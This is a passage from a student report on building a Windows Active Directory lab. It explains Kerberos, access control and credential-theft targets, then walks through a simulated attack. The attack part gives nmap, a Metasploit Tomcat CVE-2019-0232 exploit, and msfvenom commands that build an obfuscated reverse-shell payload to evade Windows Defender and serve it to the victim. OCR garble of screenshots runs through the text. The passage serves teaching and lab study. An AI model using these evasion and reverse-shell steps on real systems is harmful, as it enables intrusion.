permissions. In addition, the security context is usually different when a user or computer is
operating on a stand-alone basis, in a network, or as part of an Active Directory domain.

Local domains and trusted domains

When a trust exists between two domains, the authentication mechanisms for each domain rely on
the validity of the authentications coming from the other domain. Trusts help to provide controlled

27
“Digital Systems Security”: Panagiotis Gkotsis: AM 1805 Year:2021



Creating A windows AD Lab and simulating attacks

access to shared resources in a resource domain (the trusting domain) by verifying that incoming
authentication requests come from a trusted authority (the trusted domain). In this way, trusts act as
bridges that let only validated authentication requests travel between domains.

How a specific trust passes authentication requests depends on how it is configured. Trust
relationships can be one-way, by providing access from the trusted domain to resources in the
trusting domain, or two-way, by providing access from each domain to resources in the other
domain. Trusts are also either nontransitive, in which case a trust exists only between the two trust
partner domains, or transitive, in which case a trust automatically extends to any other domains that
either of the partners trusts.

Kerberos Authentication Overview

kerberos v5 is an authentication protocol that is used to verify the identity of a user or host.

In fact Kerberos will allow an active directory object to get centrally authenticated and not need to
provide a password every time, or even allow objects ie a user to get authenticated against targets
(I.e a member server) that will never learn the end users password

In order to do this, at least three entities are required

e A client
* A service

* A Key Distribution Center (KDC) which is a Domain Controller (DC) in Active
Directory environment context.

KDC Client Service

To avoid password leaking, when a client wants to access a service, no password will be sent over
the network. A three steps process is used for this:

1. Authentication Service (AS): The client must authenticate itself to the KDC.

2. Ticket-Granting Ticket (TGT): The client requests a ticket to access the chosen service (e.g.
CIFS, HTTP, SQL, ...).

3. Application Request (AP): The client finally uses the service by providing the ticket.
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KDC Client Service A

| want to use
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Check identity
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: : ticket
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€ do your thing

The Domain controller , which acts as the KDC part in active directory is the only entity knowing
secrets of each service, machine, user. Thus, except for the DC, everyone only know his own secret,
and therefore do not know the secrets of the other objects in Active Directory.

Without going further on Kerberos protocol ,

The user begins logging on to the network by typing a logon name and password. The Kerberos
client on the user's workstation converts the password to an encryption key and saves the result in a
program variable.

The client then requests credentials for the ticket-granting service (TGS) of the Key Distribution
Center (KDC) by sending the KDC's authentication service a message of type KRB_AS REQ
(Kerberos Authentication Service Request). The first part of this message identifies the user and the
TGS service being requested. The second part of this message contains preauthentication data
intended to prove that the user knows the password. This is simply an authenticator message that is
encrypted with the master key derived from the user's logon password.

When the KDC receives KRB_AS REQ, it looks up the user in its database, gets the associated
user's master key, decrypts the preauthentication data, and evaluates the time stamp inside. If the
time stamp is valid, the KDC can be assured that the preauthentication data was encrypted with the
user's master key and thus that the client is genuine.

After the KDC has verified the user's identity, it creates credentials that the client can present to the

TGS, as follows:
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. The KDC invents a logon session key and encrypts a copy with the user's master key.
. The KDC embeds another copy of the logon session key and the user's authorization data in

a ticket-granting ticket (TGT), and encrypts the TGT with the KDC's own master key.

. The KDC sends these credentials back to the client by replying with a message of type

KRB _AS REP (Kerberos Authentication Service Reply).

When the client receives the reply, it uses the key derived from the user's password to
decrypt the new logon session key.

The client stores the new key in its ticket cache.

The client extracts the TGT from the message and stores that in its ticket cache as well.

After a ticket-granting ticket (TGT) and session key have been established for the client, the client
can request a separate session key and ticket for the service.

To request a ticket for another service

1.

8.

The Kerberos client on the user's workstation requests credentials for the service by sending,
to the Key Distribution Center (KDC), a message of type KRB TGS _REQ (Kerberos
Ticket-Granting Service Request). This message consists of the identity of the service for
which the client is requesting credentials, an authenticator message encrypted with the user's
new logon session key, and the TGT obtained from the Authentication Service Exchange.

. When the KDC receives a KRB TGS REQ, the KDC decrypts the TGT with its secret key

and extracts the user's logon session key.

. The KDC uses the logon session key to decrypt the user's authenticator message and

evaluates it. If the authenticator passes the test, the KDC extracts the user's authorization
data from the TGT and invents a session key for the user to share with the requested server.
The KDC encrypts one copy of the service session key with the user's logon session key.

. The KDC embeds another copy of the service session key in a ticket, along with the user's

authorization data, and encrypts the ticket with the server's master key.
The KDC sends these credentials back to the client by replying with a message of type
KRB TGS REP (Kerberos Ticket-Granting Service Reply).

. When the client receives the reply, it decrypts the service session key with the user's logon

session key and stores the service session key in its ticket cache.
The client extracts the ticket to the server and stores that in its ticket cache.

After a user has a ticket to a server, the workstation client can establish a secure communications
session with that server.

To establish a secure communications session with a server

1.

The client sends the server a message of type KRB AP_REQ (Kerberos Application
Request). This message contains an authenticator message that is encrypted with the key
sent by the Key Distribution Center (KDC) for the session with the server, the ticket for
sessions with the server, and a flag that indicates whether the client requests mutual
authentication. Setting the flag that requests mutual authentication is one of the options in
configuring Kerberos. The user is never asked whether mutual authentication should be

used.
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The server receives KRB AP REQ, decrypts the ticket, and extracts the user's authorization
data and the session key.

. The server uses the session key from the ticket to decrypt the user's authenticator message

and evaluates the time stamp inside.

. If the authenticator message is valid, the server checks the mutual authentication flag in the

client's request.

If the mutual authentication flag is set, the server uses the session key to encrypt the time
from the user's authenticator message and returns the result in a message of type

KRB_AP REP (Kerberos Application Reply).

When the client receives KRB_AP_REP, it decrypts the server's authenticator message with
the session key it shares with the server and compares the time sent back by the service with
the time in its original authenticator message. If they match, the client is assured that the
service is genuine, and the connection proceeds.

Client Service A Service B

~0 ~0

Authentication

i TTGT | : KRB_AS_REP TGT

TGT check

TGT check

KRB_AS_REQ
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Without having gone in deep details of a Microsoft windows active directory environment, it is
obvious that the security model is in fact pretty complex.

Access Control Overview

Computers that are running a supported version of Windows can control the use of system and
network resources through the interrelated mechanisms of authentication and authorization. After a
user is authenticated, the Windows operating system uses built-in authorization and access control
technologies to implement the second phase of protecting resources: determining if an authenticated
user has the correct permissions to access a resource.

Shared resources are available to users and groups other than the resource’s owner, and they need to
be protected from unauthorized use. In the access control model, users and groups (also referred to
as security principals) are represented by unique security identifiers (SIDs). They are assigned
rights and permissions that inform the operating system what each user and group can do. Each
resource has an owner who grants permissions to security principals. During the access control
check, these permissions are examined to determine which security principals can access the
resource and how they can access it.

Security principals perform actions (which include Read, Write, Modify, or Full control) on objects.
Objects include files, folders, printers, registry keys, and Active Directory Domain Services (AD
DS) objects. Shared resources use access control lists (ACLs) to assign permissions. This enables
resource managers to enforce access control in the following ways:

» Deny access to unauthorized users and groups

» Set well-defined limits on the access that is provided to authorized users and groups

Object owners generally grant permissions to security groups rather than to individual users. Users
and computers that are added to existing groups assume the permissions of that group. If an object
(such as a folder) can hold other objects (such as subfolders and files), it is called a container. In a
hierarchy of objects, the relationship between a container and its content is expressed by referring to
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the container as the parent. An object in the container is referred to as the child, and the child
inherits the access control settings of the parent. Object owners often define permissions for
container objects, rather than individual child objects, to ease access control management.

This content set contains:
* Dynamic Access Control Overview
* Security identifiers
* Security Principals
* Local Accounts
+ Active Directory Accounts
* Microsoft Accounts
* Service Accounts

» Active Directory Security Groups

Practical applications
Administrators who use the supported version of Windows can refine the application and
management of access control to objects and subjects to provide the following security:

* Protect a greater number and variety of network resources from misuse.

» Provision users to access resources in a manner that is consistent with organizational
policies and the requirements of their jobs.

» Enable users to access resources from a variety of devices in numerous locations.

» Update users’ ability to access resources on a regular basis as an organization’s policies
change or as users’ jobs change.

* Account for a growing number of use scenarios (such as access from remote locations or
from a rapidly expanding variety of devices, such as tablet computers and mobile phones).

+ Identify and resolve access issues when legitimate users are unable to access resources that
they need to perform their jobs.

Permissions

Permissions define the type of access that is granted to a user or group for an object or object
property. For example, the Finance group can be granted Read and Write permissions for a file
named Payroll.dat.

By using the access control user interface, you can set NTFS permissions for objects such as files,
Active Directory objects, registry objects, or system objects such as processes. Permissions can be
granted to any user, group, or computer. It is a good practice to assign permissions to groups
because it improves system performance when verifying access to an object.
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For any object, you can grant permissions to:
* Groups, users, and other objects with security identifiers in the domain.
* Groups and users in that domain and any trusted domains.

» Local groups and users on the computer where the object resides.

The permissions attached to an object depend on the type of object. For example, the permissions
that can be attached to a file are different from those that can be attached to a registry key. Some
permissions, however, are common to most types of objects. These common permissions are:

* Read
* Modify
* Change owner

* Delete

When you set permissions, you specify the level of access for groups and users. For example, you
can let one user read the contents of a file, let another user make changes to the file, and prevent all
other users from accessing the file. You can set similar permissions on printers so that certain users
can configure the printer and other users can only print.

When you need to change the permissions on a file, you can run Windows Explorer, right-click the
file name, and click Properties. On the Security tab, you can change permissions on the file.

An owner is assigned to an object when that object is created. By default, the owner is the creator of
the object. No matter what permissions are set on an object, the owner of the object can always
change the permissions.

Inheritance of permissions

Inheritance allows administrators to easily assign and manage permissions. This feature
automatically causes objects within a container to inherit all the inheritable permissions of that
container. For example, the files within a folder inherit the permissions of the folder. Only
permissions marked to be inherited will be inherited.

User rights

User rights grant specific privileges and sign-in rights to users and groups in your computing
environment. Administrators can assign specific rights to group accounts or to individual user
accounts. These rights authorize users to perform specific actions, such as signing in to a system
interactively or backing up files and directories.

User rights are different from permissions because user rights apply to user accounts, and
permissions are associated with objects. Although user rights can apply to individual user accounts,
user rights are best administered on a group account basis. There is no support in the access control
user interface to grant user rights. However, user rights assignment can be administered through
Local Security Settings.
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Object auditing

With administrator's rights, you can audit users' successful or failed access to objects. You can select
which object access to audit by using the access control user interface, but first you must enable the
audit policy by selecting Audit object access under Local Policies in Local Security Settings. You
can then view these security-related events in the Security log in Event Viewer.

Attractive Accounts for Credential Theft

Credential theft attacks are those in which an attacker initially gains highest-privilege (root,
Administrator, or SYSTEM, depending on the operating system in use) access to a computer on a
network and then uses freely available tooling to extract credentials from the sessions of other
logged-on accounts. Depending on the system configuration, these credentials can be extracted in
the form of hashes, tickets, or even plaintext passwords. If any of the harvested credentials are for
local accounts that are likely to exist on other computers on the network (for example,
Administrator accounts in Windows, or root accounts in OSX, UNIX, or Linux), the attacker
presents the credentials to other computers on the network to propagate compromise to additional
computers and to try to obtain the credentials of two specific types of accounts:

1. Privileged domain accounts with both broad and deep privileges (that is, accounts that have
administrator-level privileges on many computers and in Active Directory). These accounts
may not be members of any of the highest-privilege groups in Active Directory, but they
may have been granted Administrator-level privilege across many servers and workstations
in the domain or forest, which makes them effectively as powerful as members of privileged
groups in Active Directory. In most cases, accounts that have been granted high levels of
privilege across broad swaths of the Windows infrastructure are service accounts, so service
accounts should always be assessed for breadth and depth of privilege.

2. "Very Important Person" (VIP) domain accounts. In the context of this document, a VIP
account is any account that has access to information an attacker wants (intellectual property
and other sensitive information), or any account that can be used to grant the attacker access
to that information. Examples of these user accounts include:

1. Executives whose accounts have access to sensitive corporate information

2. Accounts for Help Desk staff who are responsible for maintaining the computers and
applications used by executives

3. Accounts for legal staff who have access to an organization's bid and contract
documents, whether the documents are for their own organization or client
organizations

4. Product planners who have access to plans and specifications for products in an
company's development pipeline, regardless of the types of products the company
makes
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5. Researchers whose accounts are used to access study data, product formulations, or
any other research of interest to an attacker

Because highly privileged accounts in Active Directory can be used to propagate compromise and
to manipulate VIP accounts or the data that they can access, the most useful accounts for credential
theft attacks are accounts that are members of Enterprise Admins, Domain Admins, and
Administrators groups in Active Directory.

Because domain controllers are the repositories for the AD DS database and domain controllers
have full access to all of the data in Active Directory, domain controllers are also targeted for
compromise, whether in parallel with credential theft attacks, or after one or more highly privileged
Active Directory accounts have been compromised.

Although numerous publications (and many attackers) focus on the Domain Admins group
memberships when describing pass-the-hash and other credential theft attacks an account that is a
member of any of the groups listed here can be used to compromise the entire AD DS installation.

Activities that Increase the Likelihood of Compromise

Because the target of credential theft is usually highly privileged domain accounts and VIP
accounts, it is important for administrators to be conscious of activities that increase the likelihood
of success of a credential-theft attack. Although attackers also target VIP accounts, if VIPs are not
given high levels of privilege on systems or in the domain, theft of their credentials requires other
types of attacks, such as socially engineering the VIP to provide secret information. Or the attacker
must first obtain privileged access to a system on which VIP credentials are cached. Because of this,
activities that increase the likelihood of credential theft described here are focused primarily on
preventing the acquisition of highly privileged administrative credentials. These activities are
common mechanisms by which attackers are able to compromise systems to obtain privileged
credentials.

Logging on to Unsecured Computers with Privileged Accounts

The core vulnerability that allows credential theft attacks to succeed is the act of logging on to
computers that are not secure with accounts that are broadly and deeply privileged throughout the
environment. These logons can be the result of various misconfigurations described here.

Not Maintaining Separate Administrative Credentials

Although this is relatively uncommon, in assessing various AD DS installations, we have found IT
employees using a single account for all of their work. The account is a member of at least one of
the most highly privileged groups in Active Directory and is the same account that the employees
use to log on to their workstations in the morning, check their email, browse Internet sites, and
download content to their computers. When users run with accounts that are granted local
Administrator rights and permissions, they expose the local computer to complete compromise.
When those accounts are also members of the most privileged groups in Active Directory, they
expose the entire forest to compromise, making it trivially easy for an attacker to gain complete
control of the Active Directory and Windows environment.
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Similarly, in some environments, we've found that the same user names and passwords are used for
root accounts on non-Windows computers as are used in the Windows environment, which allows
attackers to extend compromise from UNIX or Linux systems to Windows systems and vice versa.

Logons to Compromised Workstations or Member Servers with Privileged Accounts

When a highly privileged domain account is used to log on interactively to a compromised
workstation or member server, that compromised computer may harvest credentials from any
account that logs on to the system.

Unsecured Administrative Workstations

In many organizations, IT staff use multiple accounts. One account is used for logon to the
employee's workstation, and because these are IT staff, they often have local Administrator rights
on their workstations. In some cases, UAC is left enabled so that the user at least receives a split
access token at logon and must elevate when privileges are required. When these users are
performing maintenance activities, they typically use locally installed management tools and
provide the credentials for their domain-privileged accounts, by selecting the Run as
Administrator option or by providing the credentials when prompted. Although this configuration
may seem appropriate, it exposes the environment to compromise because:

* The "regular" user account that the employee uses to log on to their workstation has local
Administrator rights, the computer is vulnerable to drive-by download attacks in which the
user is convinced to install malware.

» The malware is installed in the context of an administrative account, the computer can now
be used to capture keystrokes, clipboard contents, screenshots, and memory-resident
credentials, any of which can result in exposure of the credentials of a powerful domain
account.

The problems in this scenario are twofold. First, although separate accounts are used for local and
domain administration, the computer is unsecured and does not protect the accounts against theft.
Second, the regular user account and the administrative account have been granted excessive rights
and permissions.

Browsing the Internet with a Highly Privileged Account

Users who log on to computers with accounts that are members of the local Administrators group on
the computer, or members of privileged groups in Active Directory, and who then browse the
Internet (or a compromised intranet) expose the local computer and the directory to compromise.

Accessing a maliciously crafted website with a browser running with administrative privileges can
allow an attacker to deposit malicious code on the local computer in the context of the privileged
user. If the user has local Administrator rights on the computer, attackers may deceive the user into
downloading malicious code or opening email attachments that leverage application vulnerabilities
and leverage the user's privileges to extract locally cached credentials for all active users on the
computer. If the user has administrative rights in the directory by membership in the Enterprise
Admins, Domain Admins, or Administrators groups in Active Directory, the attacker can extract the
domain credentials and use them to compromise the entire AD DS domain or forest, without
needing to compromise any other computer in the forest.
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Configuring Local Privileged Accounts with the Same Credentials across
Systems

Configuring the same local Administrator account name and password on many or all computers
enables credentials stolen from the SAM database on one computer to be used to compromise all
other computers that use the same credentials. At a minimum, you should use different passwords
for local Administrator accounts across each domain-joined system. Local Administrator accounts
may also be uniquely named, but using different passwords for each system's privileged local
accounts is sufficient to ensure that credentials cannot be used on other systems.

Overpopulation and Overuse of Privileged Domain Groups

Granting membership in the EA, DA, or BA groups in a domain creates a target for attackers. The
greater the number of members of these groups, the greater the likelihood that a privileged user may
inadvertently misuse the credentials and expose them to credential theft attacks. Every workstation
or server to which a privileged domain user logs on presents a possible mechanism by which the
privileged user's credentials may be harvested and used to compromise the AD DS domain and
forest.

Poorly Secured Domain Controllers

Domain controllers house a replica of a domain's AD DS database. In the case of read-only domain
controllers, the local replica of the database contains the credentials for only a subset of the
accounts in the directory, none of which are privileged domain accounts by default. On read-write
domain controllers, each domain controller maintains a full replica of the AD DS database,
including credentials not only for privileged users like Domain Admins, but privileged accounts
such as domain controller accounts or the domain's Krbtgt account, which is the account that is
associated with the KDC service on domain controllers. If additional applications that are not
necessary for domain controller functionality are installed on domain controllers, or if domain
controllers are not stringently patched and secured, attackers may compromise them via unpatched
vulnerabilities, or they may leverage other attack vectors to install malicious software directly on
them.

Privilege Elevation and Propagation

Regardless of the attack methods used, Active Directory is always targeted when a Windows
environment is attacked, because it ultimately controls access to whatever the attackers want. This
does not mean that the entire directory is targeted, however. Specific accounts, servers, and
infrastructure components are usually the primary targets of attacks against Active Directory. These
accounts are described as follows.

Permanent Privileged Accounts

Because the introduction of Active Directory, it has been possible to use highly privileged accounts
to build the Active Directory forest and then to delegate rights and permissions required to perform
day-to-day administration to less-privileged accounts. Membership in the Enterprise Admins,
Domain Admins, or Administrators groups in Active Directory is required only temporarily and
infrequently in an environment that implements least-privilege approaches to daily administration.
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Permanent privileged accounts are accounts that have been placed in privileged groups and left
there from day to day. If your organization places five accounts into the Domain Admins group for a
domain, those five accounts can be targeted 24-hours a day, seven days a week. However, the actual
need to use accounts with Domain Admins privileges is typically only for specific domain-wide
configuration, and for short periods of time.

VIP Accounts

An often overlooked target in Active Directory breaches is the accounts of "very important persons"
(or VIPs) in an organization. Privileged accounts are targeted because those accounts can grant
access to attackers, which allows them to compromise or even destroy targeted systems, as
described earlier in this section.

"Privilege-Attached' Active Directory Accounts

"Privilege-attached" Active Directory accounts are domain accounts that have not been made
members of any of the groups that have the highest levels of privilege in Active Directory, but have
instead been granted high levels of privilege on many servers and workstations in the environment.
These accounts are most often domain-based accounts that are configured to run services on
domain-joined systems, typically for applications running on large sections of the infrastructure.
Although these accounts have no privileges in Active Directory, if they are granted high privilege
on large numbers of systems, they can be used to compromise or even destroy large segments of the
infrastructure, achieving the same effect as compromise of a privileged Active Directory account.

A structured Attack

Any corporate attack will follow a four-step methodology. You’re going to have a recon phase, an
initial access phase, a post-exploitation phase and an exfiltration phase.
Below is the Attack Kill Chain as presented in a few Microsoft security blogs

Attack Kill Chain

External Compromised Internal
Recon machine Recon
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Step 1(External) Reconnaissance

Reconnaissance or Open Source Intelligence (OSINT) gathering is an important first step in
penetration testing.

During this stage, the attacker typically searches publicly available sources to identify as much
information as possible about their target. This will include information about the target’s IP address
range, business operations and supply chain, employees, executives, and technology utilized. The
goal of this stage is to develop sufficient intelligence to increase the chances of a successful attack.
If the attacker has previously penetrated your environment, they may also refer to intelligence
gathered during previous incursions.

Common intelligence gathering may contain :

Search engine queries

Domain name searches/WHOIS lookups

Social Engineering

Tax Records

Internet Footprinting — email addresses, usernames, social networks,

Internal Footprinting —Ping sweeps, port scanning, reverse DNS, packet sniffing
Dumpster Diving

Tailgating

Typically we will use an exhaustive checklist for finding open entry points and vulnerabilities
within the organization. The OSINT Framework provides a plethora of details for open information

sources.
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Step 2: Initial Access Phase

At this phase we want initial access , we assume the data we want or the system we want exists
within the AdLabs . Either

1. thru a social engineered attack , ie we do use the information gathered on the recon step to
target some employees of the AdLabs, or

2. using a known vulnerability, discovered during recon phase, ie a vulnerability on the web
server of this company ,

we can have access to one asset belonging to the company a compromised machine.

This will allow us in the both cases to establish communication back to a command server , and we
do consider that we have established logical access within the local area networks belonging to this
organization's.
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Step 3: Post-Exploitation Phase

Post-exploitation is the ability to go from low privilege to very, very high privilege, getting access
to your target .

When we land in a network we don’t know anything about, what we need is situational awareness.
We need to know what computers exist, what users exist, what file shares exist, where are users
logged on, etc.

Internal Recon and Lateral Movement — Now that the attacker has a foothold within the
organization’s network, he or she will begin gathering information not previously available
externally. This will include performing host discovery scans, mapping internal networks
and systems, and attempting to mount network shares. The attacker will also begin using
freely available, yet extremely effective tools, like Mimikatz and WCE to harvest credentials
stored locally on the initially compromised machine and begin planning the next stage of the
attack as shown below.

Asset recon

Local
prvilege
vacalaton Remote
code

enecuton

Complete

£ xtirtration
Mission

Domain Dominance — At this stage, the attacker will attempt to elevate their level of access
to a higher trusted status within the network. The attacker’s ultimate goal is to access your
data and the privileged credentials of a domain administrator offers them many ways to
access to your valuable data stores. Once this occurs, the attacker will begin to pivot
throughout the network either looking for valuable data or installing ransomware for future
extortion attempts or both.
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Step 4: Data Consolidation and Exfiltration

Now that the attacker has access to the valuable data within the organization’s systems, he or she
must consolidate it, package it up, and send it out of the network without being detected or
blocked. This is typically accomplished by encrypting the data and transferring it to an external
system controlled by the attacker using approved network protocols like DNS, FTP, and SFTP or
Internet-based file transfer solutions.
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Lab Setup

Hardware And Software used

The lab was created on an Ubuntu 20.04 LTS desktop as the host machine, running VM Ware
workstation pro (version: 16.1.0-17198959 ) , as the virtualization platform .

Latest windows isos, at the time of creation, were used for windows server 19 1809 (OS build
17763.1697) , windows 10 pro 20H2 (OS build 19042.804), Kali Linux 2020.4, Metasploit ,
NMAP, Impacket, Crackmapexe, Shecodnject

Latest PFsense iso was used for the deployment of the firewall , and the image was updated online.
Bginfo was used on the windows to id the machine.

The lab was finally deployed on a Dell Optiplex 3080 workstation equipped with an 15-10500
CPU, 40Gb Ram , 512 GB NVME disk.

Lab Network Layout and Objects Created

The network of our company consists of an internal network hosting the end users workstations and
the domain controller, a DMZ network hosting the Web server exposing services to the public
network (the internet) and the private internal network . Routing is being performed using a pfsense
appliance, similar to the network diagram presented below .
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Attackers
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Target

To ease up the deployment of new virtual machines, we have chosen to use sysprep functionality of
Microsoft Operational systems, that allows the creation of images that do not share the same
Security Identifiers (a new SID is generated every time).

In fact, we have chosen to create the following objects:
Computer Objects:

WS2019: A virtual machine running windows 2019 server, used a template to generate all
the windows server o/s instances needed

Windows 10 x64: A virtual machine running windows 10 professional 64bit, used template
to generate all the windows workstation o/s instances needed

ADLab-Firewall: A virtual machine , running pfsense 2.5.0 , used as the company ‘s
firewall appliance

ADLab-DC: A windows 2019 virtual machine instance, used as a Domain Controller, DNS
and DHCP server for our company

ADLab-IIS: A windows 2019 virtual machine instance , used as the web server of the
company , installed on the DMZ

ADLab-Ws10AdminWs: A windows 10 virtual machine instance , used by a domain
administrator user
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e ADLab-Ws10b: A windows 10 virtual machine instance , used by a user wth
administrative privileges on the IIS server

e ADLab-Ws10 : A windows 10 virtual machine instance , used by a domain user

e ADLab-External : A windows 10 virtual machine instance , used by an external attacker

e ADLab-Kali64 : A virtual machine running Kali linux , used by an external attacker

User Objects:

A local windows user named as ladmin ,with password AdL@b!

A local built-in windows administrator for the windows 10 workstation machines
ADLAB\Administrator (domain/enterprise built-in Administrator)
ADLAB\adlabuserl (domain user)

ADLAB\adlabuser2 (domain user)

ADLAB\iiasdmin (domain user, local administrator on the ADLab-IIS server)
ADLAB\adlabuserx (domain administrator)

ExternalUser (local windows user on ADLab-Extenal)

Pentest (privileged user on Kali linux )

Al objects creation process is described in the accompanying appendix A.

Attack Scenario

The goal was to simulate the Golden Ticket Attack on the domain, which can be described in a
nutshell as stealing and passing the Kerberos Ticket Granting Special entity hash to create an
invalid user who has all the possible Access rights (enterprise / domain Administrator , etc)

Recon Phase

To perform the recon phase we could use various tools. In this simplified scenario, nmap was used

to get some basic information on the public ip address of the web servers .

We will use

—(pentest®AdLabKali)-[~]
L—$ sudo nmap -sS -sV -p- -T5 192.168.106.128
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Tt @umSabikafi! haenaperden

This will identify that port 80 and 8080 are the only open ports , that the web server reports itself as
Microsoft IIS httpd 10.0 , leading to the conclusion that the O/S of the server is Microsoft server
2019 and Apache Tomcat 9.0.16.

Searching online we can spot well known vulnerabilities for this Tomcat version . We will in fact
consider the convenient case that CVE-2019-0232 providing remote code execution .

X | @ Remote Code Exc. x [ Apache Tomcat X @ http.server —HTT X  ® How do you set u; X vnload x How to downlo: x Apache Tomcat B3l @ nvo - cvE-2019

d.nist.gov)

NIsST

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

VULNERABILITIES

AKCVE-2019-0232 Detail

MODIFIED QUICK INFO

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may resultin further changes to CVE Dictionary Entry:
the information provided. VE-2019-0232

NVD Published Date:
04/15/2019

Current Description NVD Last Modified:

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1t0 9.0.17,8.5.0 t0 8.5.39 and 08/24/2020

7.0.0t0 7.0.93 is vulnerable to Remote Code Execution due to a bugin the way the JRE passes command line arguments to Windows. The CGI Source:

Servletis disabled by default. The CGl option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by defauit Apache Software Foundation

in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog
(https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog
(https://web.archive.org/web/20161228144344 https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes:
command-line-arguments-the-wrong-way/)

+View Analysis Description

Severity |EEISEE o

CVSS 3.x Severity and Metrics:

\I ' NIST: NVD Base Score: [SiGH] Vector: CVSS:3.0/AV:N/AC:H/PR:N/ULN/S:U/C:H/I:H/AH
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x | @ RemoteCode Exe x B ApacheTomcat | X | ‘@ httpserver—HT' X ® Howdoyousetu: X | @ cmddownloadfilc X ) Howtodownload x (SR

exploit-db.com

Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)

EDB-ID: CVE: Author: Type: Platform: Date:
20190232 METASPLO! REMOTE WINDOWS
EDB Verified: Exploit: & / {} Vulnerable App:

las Msf::Exploit: :Renote

Rank = ExcellentRanking

include Msf::Exploit: :Remote: :HttpClient
include Msf: :Exploit: :CadStager

info
info

MSF_LICENSE

Map9 10:33

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help W e G & L - ) S
Library O «m

2 " EIErEEE

+ DMy computer
~ @AdLab
8 ADLab-Firewall
+ Binternal Network ShellNo.1 *  root@adlabkali: /home/pentest *  pentest@adiabkali: ~ *  pentest@adiabkali: ~ *  root@adlabkali: /home/pentest *
@ ApLab-DC
@ ADLabws 10
@ AdLabws10b
{0 ADLabws 10AdminWws
~ BB INTERNET
@ AdLab_Externalw10

~ @omz

ShellNo.1
File Actions Edit View Help

@ ADLabIS
~ @ Templates
Bws2019
Biwindows 10x64

We select the windows/http/tomcat cgi cmdlineargs exploit and set as remote host the external ip
of the Tomcat server (192.168.106.128), the remote port 8080 , local host the ip of Kali VM
(192.168.106.131), local port 4443 m TARGETURI the path on the webserver hosting the
exploitable command /CGI and we run the exploit.

We can see that the target is exploitable ,but no session is created , as in fact windows defender will
identify the incoming connection as suspicious and will kill the process.
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File Edit View VM Tabs Help

o
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@ ~ OMy Computer
~ @AdLab
Behavior:Win32/Meterpreter.gen!A
8 ADLabFirewall / preter.g

~ @ internal Network

é i ADLab-DC Alert level: Severe
@ ADLabws 10 Status: Removed
Date: 3/8/2021 601 AM

S
A g“mwcb Category: Suspicious Behavior
- SDREBEIDAGIRIVE Details: This program is dangerous and executes commands from an

~ BINTERNET ‘

atacker.
@ AdLab_Externalw10
B AdLab-Kalix64
~ @omz
|5 aoubis ] Atectd tems
4 ~ @ Templates behavior: pid:308:74439734262196
iws2019
B windows 10x64 process: pid:308 ProcessStart:132596856766999447

oK

To return to your computer, move the mouse pointer outside or press Ctr-Alt

At this point we needed to evade the defender antivirus.

Initial Access

A/V evasion

To evade the Antivirus, after various attempts, I have concluded on using an encrypted Metasploit
stager , using a self-signed certificate and making almost obfuscated using shikata_ga nai for
implementing a polymorphic XOR additive feedback encoder.

So we create a new self-signed concatenated certificate, using openssl :
—(root € adlabkali)-[/home/pentest]

L—# msfvenom openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout rsaprivate key -out servercertificate.crt
—(root €2 adlabkali)-[/home/pentest]

L—#cat rsaprivate key servercertificate.crt > my.pem

and then generated the encoded shellcode
—(root € adlabkali)-[/home/pentest]

L—# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.106.131 LPORT=9898 --platform windows -a x86
HandlerSSLCert=/home/pentest/Shecodject/my.pem StagerVerifySSLCert=true -s 42 --smallest -e x86/shikata_ga nai -1 9 -f raw|
msfvenom --platform windows -a x86 -e x86/call4_dword xor -1 9 -b "\x00\x0a\x0d" -f raw > shellcode.raw
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Map 9 23:54

AdLab-Kalix64 - VMware Workstation
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~ My Computer
~ @AdLab
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~ Binternal Network

File Actions Edit View Help
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@ ADLabws10Adminws

~ BBINTERNET /home/pentest

& AdLab_Externalw10

/home/pentest
~ @omz
@ ADLabAIS
~ @ Templates
iws2019

B windows 10x64

D EPPO N

/home/pentest
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where LHOST the kali linux IP and LPORT the local port .
To package out the shellcode generated into EXE I used an opensource tool called Shecodnject

—(root €2 adlabkali)-[/home/pentest]
L—# python3 shecodnject.py

Load scc module, set the shellcode.raw file which we previously generated and run the module to
read the shellcode inside the file.

scc
set source /home/pentest/Shecodnjec/shellcode64.raw

run

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help

Library « & Aduab-kalixes © @

~ My computer
~ Badiab
B ADLab-Firewall
~ Binternal Network
i ADLab-oc
EhAbLabws10
AadLabws 100
1 ADLabws 10Adminws.
~ BRINTERNET
i AdLab_Externalw10

File Actions Edit View Help

@ aoLab-is
~ B Templates
Bws2019
i windows 10x64

LEL¥ o6
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File Edit View VM Tabs Help W ¢ oo B L. )

Library O «@ © @ AdubKalixes @ @& o @ o & o 8 o 8 o & o

2 S
~ My Computer
~ @AdLab
@ ADLab-Firewall

@ File Actions Edit View Help
~ Binternal Network
% @ ADLab-DC
#ADLabWs10
EAdLabws10b
@ ADLabws10Adminws
~ BINTERNET
D & AdLab_Externalw10
<

~ @omz
@ ADLabAIS
~ @ Templates
iws2019

B windows 10x64

To return to your computer, move the mouse pointer outside or press Ctrl-Alt 84 663

Exit the module by typing back. Now that the shellcode is read by the tool, we will pack it into an
EXE, so enter the following commands 1 by 1:

exe
set noconsole False
run

The process of packaging will take a while. Once finished the output will be saved inside /output
inside shecodeject folder and we now have generated our payload in the file renamed to test.exe

—(root € adlabkali)-[/home/pentest/Shecodject/output]
L—#1s-la

-rwxr-xr-x 1 root root 5939733 Mar 9 05:57 test.exe

and we use python simplehttpserver to push it on the remote server. I.e we run the puthon http
server on the kali linux machine to allows remotely initiate the file download from the apache
tomcat.

—(root € adlabkali)-[/home/pentest/Shecodject/output]
L—# python -m SimpleHTTPServer

this will fire up the http server running at the local path we had exported the payload file.
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Map 9 14:36
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& AdLab_Externalw10
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/home/pentest/Shecodject/output

/home/pentest/shecodject/output

/home/pentest/Shecodject/output

~ Binternal Network
% @ ADLab-DC
&

~ @ Templates

